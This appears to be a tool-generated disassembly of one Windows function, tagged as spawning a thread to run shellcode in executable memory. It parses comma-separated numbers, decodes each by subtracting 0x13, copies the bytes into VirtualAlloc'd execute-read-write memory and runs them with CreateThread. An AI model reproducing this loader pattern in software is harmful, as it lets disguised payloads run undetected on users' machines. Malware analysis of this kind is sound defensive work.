Function at 0x140001850
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x770]
sub rsp, 0x870
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x760], rax
mov eax, 0x2c
mov word [rsp + 0x58], ax
lea rdx, [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov r14, rax
xor r12d, r12d
test rax, rax
je 0x140001a50
lea r15, [rsp + 0x60]
movabs r13, 0x7fffffffffffffff
mov ecx, 0x16
movabs rax, 0x8000000000000000
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [r14 + rbx], 0
jne 0x1400018e3
cmp rbx, r13
ja 0x140001b08
cmp rbx, 0xf
ja 0x140001924
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 0xf
mov r8, rbx
mov rdx, r14
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x30], 0
jmp 0x1400019ad
mov rdi, rbx
or rdi, 0xf
cmp rdi, r13
jbe 0x140001939
mov rdi, r13
add rax, 0x27
jmp 0x14000195b
cmp rdi, 0x16
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14000197a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001b02
mov rcx, rax
call fcn.140001f30
test rax, rax
je 0x140001adf
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000198c
test rcx, rcx
je 0x140001989
call fcn.140001f30
mov rsi, rax
jmp 0x14000198c
mov rsi, r12
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rdi
mov r8, rbx
mov rdx, r14
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rdi, rax
lea rbx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rbx, qword [rsp + 0x30]
mov dword [rax], r12d
mov r8d, 0xa
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
cmp rbx, qword [rsp + 0x50]
je 0x140001af4
cmp dword [rdi], 0x22
je 0x140001ae6
sub al, 0x13
mov byte [r15], al
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001a34
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001adf
call fcn.140001f6c
lea rdx, [rsp + 0x58]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov r14, rax
inc r15
test rax, rax
jne 0x1400018bb
mov edx, 0x800
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov rcx, rax
lea rdx, [rsp + 0x60]
mov r8d, 0x800
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rax, [rsp + 0x60]
mov rcx, qword [rbp + 0x760]
xor rcx, rsp
call fcn.140001f10
lea r11, [rsp + 0x870]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, str.stoi_argument_out_of_range
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
lea rcx, str.invalid_stoi_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
nop
call fcn.140001100
int3
call fcn.1400011a0
int3